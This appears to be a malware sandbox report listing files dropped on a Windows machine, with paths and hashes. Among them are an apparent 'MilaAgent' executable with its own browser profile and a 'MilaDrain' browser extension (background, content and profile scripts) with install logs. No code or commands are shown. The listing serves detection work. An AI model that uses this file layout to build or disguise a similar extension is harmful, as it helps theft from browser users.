                                                                                                          • SHA256 419c5f9c5994e0fe6f334d6fdbc671b3fd407218db7a6f458aa6556200aa8fcc
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          temp-index
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2352507c-c79e-48c7-9ef4-18eb3273ad79\index-dir\temp-index
                                                                                                          • Size 72B
                                                                                                          • SHA256 61a026b898fd91c5632b05f803c7b888203fb05beee937cfb8386e53eba96a31
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          the-real-index
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2352507c-c79e-48c7-9ef4-18eb3273ad79\index-dir\the-real-index
                                                                                                          • Size 72B
                                                                                                          • SHA256 16c48a93bcf4f7a504d5d69bf203970089898d9bb49e3c6c91ff919ae4ad43d4
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          temp-index
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\ca3c23a5-0b45-49bd-9fac-532a302f4fc7\index-dir\temp-index
                                                                                                          • Size 3KB
                                                                                                          • SHA256 1e8e8a6da26662b07654a6f79a08d34f87437c2c5385afae855e4c0634062323
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          index.txt.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
                                                                                                          • Size 371B
                                                                                                          • SHA256 12821e7b297f4b3b20825b6406a6d7ab8c6da1933ee685e6c0793ff9b087f4ce
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          temp-index
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index
                                                                                                          • Size 96B
                                                                                                          • SHA256 cc8d7f15578b0ff5a70b3ccdbf4d7dc880ca4e14685b6cfc108db2dd3175473f
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          the-real-index
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                          • Size 48B
                                                                                                          • SHA256 318e924f550bd8f5b40d430396500cf895575700c205c3a4e155bea24ea22a87
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          sync_diagnostic.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
                                                                                                          • Size 5KB
                                                                                                          • SHA256 4d50a85747263d0adb2e121b82b676ce607f908c254e889c8385d7188cd0e3ab
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          d4e42d3e-31b1-487a-a923-690bb9b38a4b.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\d4e42d3e-31b1-487a-a923-690bb9b38a4b.tmp
                                                                                                          • Size 13KB
                                                                                                          • SHA256 f7e4bd626ef0c8c6a4af32bb24c001c7ee0478ec245cbcac9c7bd4d061c9ca69
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          e9a56919-5c91-4733-b5b4-22768e09b607.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\e9a56919-5c91-4733-b5b4-22768e09b607.tmp
                                                                                                          • Size 30KB
                                                                                                          • SHA256 d44e346a64b41bcd94531116e48371e3e0b7b2cbb56c3247bb9649f6bb83f198
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          3f05bb9a-ca05-4205-9b1f-45b4c2c0cb92.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\3f05bb9a-ca05-4205-9b1f-45b4c2c0cb92.tmp
                                                                                                          • Size 22KB
                                                                                                          • SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          OperationConfig
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
                                                                                                          • Size 3KB
                                                                                                          • SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          b1f7a9d2-f2da-4c72-a86d-115a97f8ecb2.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\b1f7a9d2-f2da-4c72-a86d-115a97f8ecb2.tmp
                                                                                                          • Size 39KB
                                                                                                          • SHA256 6297725f21dfef64679539b0e10b676a1a94d6025b77eecf8e1db910399a8446
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          b2b56bda-41c1-4c40-90c2-b8b869b2bf53.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\b2b56bda-41c1-4c40-90c2-b8b869b2bf53.tmp
                                                                                                          • Size 39KB
                                                                                                          • SHA256 2f4254bd1e6276e67451a4f9dddaf3f6052f305ae759b408a5783b84b0da4d7d
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          50649937-c3de-4208-b902-f65811bba0a5.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\50649937-c3de-4208-b902-f65811bba0a5.tmp
                                                                                                          • Size 132B
                                                                                                          • SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          e749cc9a-b313-4d7b-8e8f-feb81df87af3.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\e749cc9a-b313-4d7b-8e8f-feb81df87af3.tmp
                                                                                                          • Size 39KB
                                                                                                          • SHA256 d536852389b899888722d46e108e42c25c881ebf7a1af04dd9fb066fe18b4dbb
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          4f030dae-a879-4c29-a5cf-57b5992abbaf.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\4f030dae-a879-4c29-a5cf-57b5992abbaf.tmp
                                                                                                          • Size 13B
                                                                                                          • SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          MilaAgent.exe
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\MilaAgent.exe
                                                                                                          • Size 90KB
                                                                                                          • SHA256 2b0e6a063e28cf3014a0f84a85b3acbd91bbaf0cafb9a79424ef7f2cab66acf9
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          agent.json
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\agent.json
                                                                                                          • Size 313B
                                                                                                          • SHA256 9b7e5e6e0f13014651c7befd5d4a137bec351f819674f7112ef702ca9a3f11ba
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          agent.json
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\agent.json
                                                                                                          • Size 328B
                                                                                                          • SHA256 e238ab30b7406fd72ecdc9e12159662ef8fcd0480dce74882e327fcc19830843
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          agent.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\agent.log
                                                                                                          • Size 620B
                                                                                                          • SHA256 c739a9d3db69eb3176e31c0087900d508a5bee788daf9b8befc571b7ffc6d13f
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          agent.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\agent.log
                                                                                                          • Size 916B
                                                                                                          • SHA256 0e7c47e57a44549259a1951b9afab0cb0fd2f758efc300a8324fca4adb0c40e4
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          agent.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\agent.log
                                                                                                          • Size 1KB
                                                                                                          • SHA256 beccd692e5a130a84faf2f5c2324dc5eb0de2cec685e3c46165738a2c8f04aa0
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          agent.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\agent.log
                                                                                                          • Size 1KB
                                                                                                          • SHA256 8c02becce81a56ae158a091d54a31eab6aed2c5514b9846606fe4f908ec38951
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          agent.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\agent.log
                                                                                                          • Size 1KB
                                                                                                          • SHA256 6c46aa65c11b0726a5e8d7cac856be052e1f78dc9021574960770e76d57eb30a
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          agent.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\agent.log
                                                                                                          • Size 1KB
                                                                                                          • SHA256 64b3d61e0d7645840abeefb577841c13a3f3ea18bf90847d10b2600cad0e516b
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          agent.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\agent.log
                                                                                                          • Size 2KB
                                                                                                          • SHA256 cff292b5b1a3f6f3143cb0e200a435fe8ae859a354e15efe12cb77cb948b8116
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          agent.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\agent.log
                                                                                                          • Size 2KB
                                                                                                          • SHA256 a6b003adc2ca014cbe67cc6066b2ab05d585bb5a3b756375d165c24acb1710a6
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          1f1565e0-e7fa-4a17-88af-7f1ba06d0db8.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\1f1565e0-e7fa-4a17-88af-7f1ba06d0db8.tmp
                                                                                                          • Size 39KB
                                                                                                          • SHA256 243c77ac6276490d5d77f97e03233eda5a4c5b27ea0b0537d2685b98c1f35805
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          2aec476e-e0c6-4856-bd08-0f049ce1a4d7.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\2aec476e-e0c6-4856-bd08-0f049ce1a4d7.tmp
                                                                                                          • Size 17KB
                                                                                                          • SHA256 12041a4cceaafa1144f4f0775a54cf89b5758597f5d2d7fa6be58c72e613b6ed
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          63be4ac6-244e-4274-b7f0-6c1bfac73127.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\63be4ac6-244e-4274-b7f0-6c1bfac73127.tmp
                                                                                                          • Size 19KB
                                                                                                          • SHA256 5a2dd04b3b879cc0590948c89154499731509eba6a99ca98fb08026beff48244
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          7dbf1c26-7e95-4d52-aff0-166d19bb7d1f.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\7dbf1c26-7e95-4d52-aff0-166d19bb7d1f.tmp
                                                                                                          • Size 23KB
                                                                                                          • SHA256 bcb4394595d4d4e063b448189c1730f7b0862efe718975aa165d5a4b14a7e4bc
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          88daec6e-4920-4183-aef8-68e84568113d.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\88daec6e-4920-4183-aef8-68e84568113d.tmp
                                                                                                          • Size 19KB
                                                                                                          • SHA256 c09ab4bfe7a408b23d88c9875a34e33290f3e576ee3e85811e056af280df42ca
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          9e9bd983-3726-4c41-8b4d-4d2d5e7f5ab6.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\9e9bd983-3726-4c41-8b4d-4d2d5e7f5ab6.tmp
                                                                                                          • Size 39KB
                                                                                                          • SHA256 4c7125f548fd603d5a693120ca92487d435c4fc38276eb4053e2fefe64fbea63
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          9864262f-219e-412b-abd9-cc81f5a06fa9.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Ad Blocking\9864262f-219e-412b-abd9-cc81f5a06fa9.tmp
                                                                                                          • Size 105KB
                                                                                                          • SHA256 faa1d17dbaa7275c5bf9f5f85c56bfd5886f17e7f8b00784101de8f5c039c356
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          settings.dat
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Crashpad\settings.dat
                                                                                                          • Size 280B
                                                                                                          • SHA256 42122a543637ba83b3689191403186c0c75a74917dea3f092fa405a7674abfbe
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          settings.dat
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Crashpad\settings.dat
                                                                                                          • Size 280B
                                                                                                          • SHA256 7a83397811738bdc3c95f7f8f438171f9db268d68c242d91168caac9ed50c720
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          settings.dat
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Crashpad\settings.dat
                                                                                                          • Size 280B
                                                                                                          • SHA256 4c4d6e4079be941ef5eb2eed61c838e2fe9fa46eacbd63d10c00630299fec0bd
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          settings.dat
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Crashpad\settings.dat
                                                                                                          • Size 280B
                                                                                                          • SHA256 994f4b2caf45c2a5fac777d1372347d2f76ace6282c0646c28d397d845814db0
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          throttle_store.dat
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Crashpad\throttle_store.dat
                                                                                                          • Size 20B
                                                                                                          • SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          15b7fba9-cc8c-4010-b59c-2671b49acc64.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\15b7fba9-cc8c-4010-b59c-2671b49acc64.tmp
                                                                                                          • Size 11KB
                                                                                                          • SHA256 8b5ad7e0e060f0c057196a160753bdf9a18e1f8eece4bcd0d99b9c6b8da14ee9
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          3091ad0e-0e76-42ec-869d-d23b134b6350.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\3091ad0e-0e76-42ec-869d-d23b134b6350.tmp
                                                                                                          • Size 30KB
                                                                                                          • SHA256 418f91847b836a3e096b316b36924cc1703108d7be18c4a1bfac5b15ca4fcb8f
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          3d6dd023-6deb-4f2e-b00c-f24876b9e2b3.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\3d6dd023-6deb-4f2e-b00c-f24876b9e2b3.tmp
                                                                                                          • Size 1B
                                                                                                          • SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          940e86e4-1a33-4b84-8781-a9427dc767a3.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\940e86e4-1a33-4b84-8781-a9427dc767a3.tmp
                                                                                                          • Size 11KB
                                                                                                          • SHA256 b26874fb99dc021e67c35c9521f96c3f2ab64974b12238b2b6953472354a2c20
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          temp-index
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\Code Cache\js\index-dir\temp-index
                                                                                                          • Size 72B
                                                                                                          • SHA256 04b2879790d12f3ae8c4b5e4299898d8ca49528d962b1d667df3feae329e84f0
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          the-real-index
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\Code Cache\js\index-dir\the-real-index
                                                                                                          • Size 48B
                                                                                                          • SHA256 44daca2509bb2e43e59f4bf0bc60837a6b346e6062238f29b642a3c5cdfc60f4
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          CURRENT
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\Extension Scripts\CURRENT
                                                                                                          • Size 16B
                                                                                                          • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          MANIFEST-000001
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\Extension State\MANIFEST-000001
                                                                                                          • Size 41B
                                                                                                          • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          computed_hashes.json
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_1\_metadata\computed_hashes.json
                                                                                                          • Size 429B
                                                                                                          • SHA256 b829b0df7e3f2391bfba70090eb4ce2ba6a978ccd665eebf1073849bdd4b8fb9
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          404b4dcf-7a33-48b8-bd6b-8bfcb023ecc3.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\Network\404b4dcf-7a33-48b8-bd6b-8bfcb023ecc3.tmp
                                                                                                          • Size 2KB
                                                                                                          • SHA256 a03cafedeb6d77412be6dbeae3af057560b97f5c0e89e390da2f2ffc4a1f0c5f
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          89f7cecb-4388-4830-9e1e-fa471d12951d.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\Network\89f7cecb-4388-4830-9e1e-fa471d12951d.tmp
                                                                                                          • Size 2KB
                                                                                                          • SHA256 82fb66670286322bd7eaa378bb3b3845a1323a234ee8f446071dfdcf15f06082
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          Secure Preferences.new
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\Secure Preferences.new
                                                                                                          • Size 28KB
                                                                                                          • SHA256 ed37d722158c9fd0b177e883edc1bdc13e73ffb7eeb0edfd16f84ba2ad6715bb
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          4cb013792b196a35_0
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\Service Worker\ScriptCache\4cb013792b196a35_0
                                                                                                          • Size 3KB
                                                                                                          • SHA256 ec9cc48fd859c306c12a0521b8e8a40a9bfa13ca2ae7793eb9b0f134a40b550c
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          temp-index
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\Service Worker\ScriptCache\index-dir\temp-index
                                                                                                          • Size 72B
                                                                                                          • SHA256 cbf9cce71c022214f112bc1713797d6d44d240c4f46280b4a515b5ced511c7ed
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          the-real-index
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                          • Size 72B
                                                                                                          • SHA256 43dbde2b1b0909c02007941b086245181dc25b042a817222a4aae5ecc785eb38
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          sync_diagnostic.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\Sync Data\Logs\sync_diagnostic.log
                                                                                                          • Size 4KB
                                                                                                          • SHA256 c9c33adc51c91a914c9991cca24fa1b713d68dcb6cc58ba82c87881334a2327b
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          de7e2a1f-d74f-4298-a0c5-459e806053a8.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\de7e2a1f-d74f-4298-a0c5-459e806053a8.tmp
                                                                                                          • Size 11KB
                                                                                                          • SHA256 de2ebfbbc2453e199031aef61d2a56fdba62a7b741b85991445d7b47ec126b90
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          ec24686b-bf4d-4b3d-ba53-8f1d824616ed.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\Default\ec24686b-bf4d-4b3d-ba53-8f1d824616ed.tmp
                                                                                                          • Size 28KB
                                                                                                          • SHA256 28133c09beda7f7cdb8e0e68f296a1eac1394009b4287a1149d49b57e01746d1
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          data_1
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\GrShaderCache\data_1
                                                                                                          • Size 264KB
                                                                                                          • SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                          Submit Download

                                                                                                          data_0
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\ShaderCache\data_0
                                                                                                          • Size 8KB
                                                                                                          • SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                          Submit Download

                                                                                                          data_2
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\ShaderCache\data_2
                                                                                                          • Size 8KB
                                                                                                          • SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                          Submit Download

                                                                                                          data_3
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\profile\ShaderCache\data_3
                                                                                                          • Size 8KB
                                                                                                          • SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                          Submit Download

                                                                                                          rename-request
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaAgent\rename-request
                                                                                                          • Size 28B
                                                                                                          • SHA256 09841ba77e407dc343f67f88cdd15394f919de7ff7a1794733f779b8c0425d65
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          background.js
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaDrain\extension\background.js
                                                                                                          • Size 3KB
                                                                                                          • SHA256 5a5a053d7d3bc577a3fa57298495fac47c762037ffcb8fe906f18fc5f00a7a1a
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          content.js
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaDrain\extension\content.js
                                                                                                          • Size 47KB
                                                                                                          • SHA256 3bd47bd0bba798d65e65745edc3451c530f1d190d13a2fec6fca4087a7297c3b
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          manifest.json
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaDrain\extension\manifest.json
                                                                                                          • Size 1KB
                                                                                                          • SHA256 e1d2515283eb6f95835a54d02718706d8937bd83aa5b686e0297aa0cccbbc764
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          xprofile.js
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaDrain\extension\xprofile.js
                                                                                                          • Size 49KB
                                                                                                          • SHA256 f39e24afcd1cf7772da2227871b31ea74ea2ad3bd25639f91c8f5906b08344e4
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          name.txt
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaDrain\extension\xprofile\name.txt
                                                                                                          • Size 27B
                                                                                                          • SHA256 032b4448b06440db3ac8aca2242010a113aa8786ee06c388fa7dff9499c225f8
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          install.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaDrain\install.log
                                                                                                          • Size 3KB
                                                                                                          • SHA256 8655eaeefc892ea446f9acf3446f895f46da03766a235f21da3a6a7ded98f252
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          install.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaDrain\install.log
                                                                                                          • Size 4KB
                                                                                                          • SHA256 b6b830fab85abd502fcd023c09c9e3a2873ccea4b398676d6d48b378182963a4
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          install.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaDrain\install.log
                                                                                                          • Size 2KB
                                                                                                          • SHA256 93cd6d9780915cef476ab347a7f47e85b0523ec481147a235b5516ee01c08fce
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          install.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaDrain\install.log
                                                                                                          • Size 708B
                                                                                                          • SHA256 7cf6145e1969a3dfa5afb502459ef722df471ef49cd351114fcaa75d6dc31189
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          install.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaDrain\install.log
                                                                                                          • Size 3KB
                                                                                                          • SHA256 6a28e20caf5b0de42fb707141899a4c97902cd1746e8ed583fa8d259427f8c1b
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          previous-wallpaper.txt
                                                                                                          • Path C:\Users\Admin\AppData\Local\MilaDrain\previous-wallpaper.txt
                                                                                                          • Size 33B
                                                                                                          • SHA256 6675fc062d15859912e09c0655e15c03cf04a6e524cd1ec8000e7dfccd3f86b9
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          prep_Activatable Class_Hermes_perf.cache
                                                                                                          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                                                                                          • Size 599B
                                                                                                          • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          849d1e0e-d9db-43e6-a6d6-42f41954cb9b.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\849d1e0e-d9db-43e6-a6d6-42f41954cb9b.tmp
                                                                                                          • Size 10KB
                                                                                                          • SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          cv_debug.log
                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\cv_debug.log
                                                                                                          • Size 1KB
                                                                                                          • SHA256 93224d83f286c2503dd1cd7ec482df86e4c6bb0a10cc811eaa98d84cce844b17
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          verified_contents.json
                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1184_1840446716\CRX_INSTALL\_metadata\verified_contents.json
                                                                                                          • Size 1KB
                                                                                                          • SHA256 d23b2ba94ba22bbb681e6362ae5870acd8a3280fa9e7241b86a9e12982968947
